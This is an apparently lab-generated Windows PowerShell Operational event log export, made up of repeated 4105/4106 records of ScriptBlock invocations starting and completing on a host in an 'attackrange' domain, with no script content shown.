RecordNumber=2037318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037297
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037296
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037295
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037294
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037277
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037272
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037271
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
